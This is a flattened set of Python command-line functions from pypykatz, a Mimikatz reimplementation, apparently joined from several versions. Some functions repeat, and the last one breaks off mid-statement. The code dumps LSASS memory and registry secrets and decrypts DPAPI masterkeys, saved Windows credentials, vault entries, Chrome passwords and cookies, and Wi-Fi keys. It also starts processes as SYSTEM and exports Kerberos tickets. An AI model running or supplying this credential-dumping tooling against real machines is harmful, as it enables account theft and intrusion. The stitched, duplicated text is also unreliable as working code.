def enumerature_user_creds(): #createMiniDump("F:\\Test_LSASS\\lsass.dmp") dpapi = DPAPI() dpapi.get_masterkeys_from_lsass_dump("F:\\Test_LSASS\\lsass.dmp") dpapi.dump_masterkeys("F:\\Test_LSASS\\masterkey.txt") dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) x = 0
def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') if args.livedpapicommand == 'tcap': from pypykatz.dpapi.extras import dpapi_trustedcredman rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile) if err is not None: print(err) return if args.outfile is not None: with open(args.outfile, 'w') as f: for cred in creds: f.write(cred.to_text() + '\r\n') else: for cred in creds: print(cred.to_text()) return from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI(use_winapi=True) if args.livedpapicommand == 'keys': from pypykatz.dpapi.dpapi import prepare_dpapi_live dpapi = prepare_dpapi_live(args.method) if args.outfile is not None: dpapi.dump_pre_keys(args.outfile + '_prekeys') dpapi.dump_masterkeys(args.outfile + '_masterkeys') else: dpapi.dump_pre_keys() dpapi.dump_masterkeys() return elif args.livedpapicommand == 'cred': cred_blob = dpapi.decrypt_credential_file(args.credfile) print(cred_blob.to_text()) elif args.livedpapicommand == 'vpol': key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.livedpapicommand == 'vcred': key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) res = dpapi.decrypt_vcrd_file(args.vcredfile) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.livedpapicommand == 'securestring': dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.livedpapicommand == 'securestringfile': data = args.data[0] dec_sec = dpapi.decrypt_securestring_file(data) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.livedpapicommand == 'blob': dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) elif args.livedpapicommand == 'blobfile': dec_sec = dpapi.decrypt_securestring_file(args.blobfile) print('HEX: %s' % dec_sec.hex()) elif args.livedpapicommand == 'chrome': res = dpapi.decrypt_all_chrome_live() for file_path, url, user, password in res['logins']: print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) for file_path, host_key, name, path, value in res['cookies']: print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) elif args.livedpapicommand == 'wifi': for wificonfig in dpapi.decrypt_wifi_live(): print('%s : %s' % (wificonfig['name'], wificonfig['key']))
def run(self, args): from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.prekey_command == 'registry': if args.system is None: raise Exception( 'SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception( 'Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.prekey_command == 'password': if args.sid is None: raise Exception( 'SID must be specified for generating prekey in this mode' ) pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password=pw) elif args.prekey_command == 'nt': if args.nthash is None or args.sid is None: raise Exception( 'NT hash and SID must be specified for generating prekey in this mode' ) dpapi.get_prekeys_from_password(args.sid, nt_hash=args.nthash) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception( 'minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) if args.out_file is not None: dpapi.dump_pre_keys(args.out_file + '_prekeys') else: dpapi.dump_pre_keys() elif args.dapi_module == 'masterkey': if args.prekey is None: raise Exception( 'Etieher KEY or path to prekey file must be supplied!') dpapi.load_prekeys(args.prekey) dpapi.decrypt_masterkey_file(args.masterkeyfile) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': dpapi.load_masterkeys(args.mkf) cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': dpapi.load_masterkeys(args.mkf) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None or len(args.vpolkey) == 0: raise Exception('VPOL key bust be specified!') dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.dapi_module == 'securestring': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.securestring) except Exception as e: print('Error! %s' % e) dec_sec = dpapi.decrypt_securestring_file(args.securestring) else: dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'blob': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.blob) except Exception as e: print('Error! %s' % e) dec_sec = dpapi.decrypt_securestring_file(args.blob) else: dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'chrome': dpapi.load_masterkeys(args.mkf) db_paths = {} db_paths['pypykatz'] = {} db_paths['pypykatz']['localstate'] = args.localstate if args.cookies is not None: db_paths['pypykatz']['cookies'] = args.cookies if args.logindata is not None: db_paths['pypykatz']['logindata'] = args.logindata res = dpapi.decrypt_all_chrome(db_paths, throw=False) for file_path, url, user, password in res['logins']: print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) for file_path, host_key, name, path, value in res['cookies']: print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) elif args.dapi_module == 'wifi': dpapi.load_masterkeys(args.mkf) wificonfig_enc = DPAPI.parse_wifi_config_file(args.wifixml) wificonfig = dpapi.decrypt_wifi_config_file_inner(wificonfig_enc) print('%s : %s' % (wificonfig['name'], wificonfig['key']))
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper cmdhelpers = [ CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), LSACMDHelper(), RegistryCMDHelper() ] parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) sake_group = subparsers.add_parser('sake', help='sake') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Sake elif args.command == 'sake': from pypykatz.utils.sake.sake import Sake s = Sake() print(s.draw())
def main(): import argparse import glob parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--json', action='store_true', help='Print credentials in JSON format') parser.add_argument('-e', '--halt-on-error', action='store_true', help='Stops parsing when a file cannot be parsed') parser.add_argument( '-o', '--outfile', help= 'Save results to file (you can specify --json for json file, or text format will be written)' ) parser.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' minidump_group = subparsers.add_parser( 'minidump', help='Get secrets from LSASS minidump file') minidump_group.add_argument( 'minidumpfile', help='path to the minidump file or a folder (if -r is set)') minidump_group.add_argument('-r', '--recursive', action='store_true', help='Recursive parsing') minidump_group.add_argument('-d', '--directory', action='store_true', help='Parse all dump files in a folder') live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' live_subparser_lsa_group = live_subparsers.add_parser( 'lsa', help='Get all secrets from LSASS') live_subparser_registry_group = live_subparsers.add_parser( 'registry', help='Get all secrets from registry') live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) rekall_group = subparsers.add_parser('rekall', help='Get secrets from memory dump') rekall_group.add_argument('memoryfile', help='path to the memory dump file') rekall_group.add_argument( '-t', '--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') registry_group = subparsers.add_parser( 'registry', help='Get secrets from registry files') registry_group.add_argument('system', help='path to the SYSTEM registry hive') registry_group.add_argument('--sam', help='path to the SAM registry hive') registry_group.add_argument('--security', help='path to the SECURITY registry hive') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] ###### Live if args.command == 'live': if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print( 'Exception while dumping LSA credentials from memory.') traceback.print_exc() pass elif args.module == 'registry': from pypykatz.registry.live_parser import LiveRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: logging.debug( 'Failed to obtain registry secrets via direct registry reading method' ) try: lr = OffineRegistry.from_live_system() except Exception as e: logging.debug( 'Failed to obtain registry secrets via filedump method' ) if lr is not None: if args.outfile: lr.to_file(args.outfile, args.json) else: print(str(lr)) else: print('Registry parsing failed!') elif args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Rekall elif args.command == 'rekall': mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override) results['rekall'] = mimi ###### Minidump elif args.command == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.minidumpfile) try: mimi = pypykatz.parse_minidump_file(args.minidumpfile) results[args.minidumpfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.minidumpfile) if args.halt_on_error == True: raise e else: traceback.print_exc() ###### Registry elif args.command == 'registry': po = OffineRegistry.from_files(args.system, args.sam, args.security) if args.outfile: po.to_file(args.outfile, args.json) else: print(str(po)) if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls=UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n' + str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print( json.dumps(results, cls=UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % ( base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file( os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[ luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
def run(self, args): from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.prekey_command == 'registry': if args.system is None: raise Exception('SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.prekey_command == 'password': if args.sid is None: raise Exception('SID must be specified for generating prekey in this mode') pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password = pw) elif args.prekey_command == 'nt': if args.nthash is None or args.sid is None: raise Exception('NT hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception('minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) if args.out_file is not None: dpapi.dump_pre_keys(args.out_file + '_prekeys') else: dpapi.dump_pre_keys() elif args.dapi_module == 'masterkey': if args.prekey is None: raise Exception('Etieher KEY or path to prekey file must be supplied!') dpapi.load_prekeys(args.prekey) dpapi.decrypt_masterkey_file(args.masterkeyfile) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': dpapi.load_masterkeys(args.mkf) cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': dpapi.load_masterkeys(args.mkf) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None or len(args.vpolkey) == 0: raise Exception('VPOL key bust be specified!') dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.dapi_module == 'securestring': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.securestring) except Exception as e: print('Error! %s' %e) dec_sec = dpapi.decrypt_securestring_file(args.securestring) else: dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % 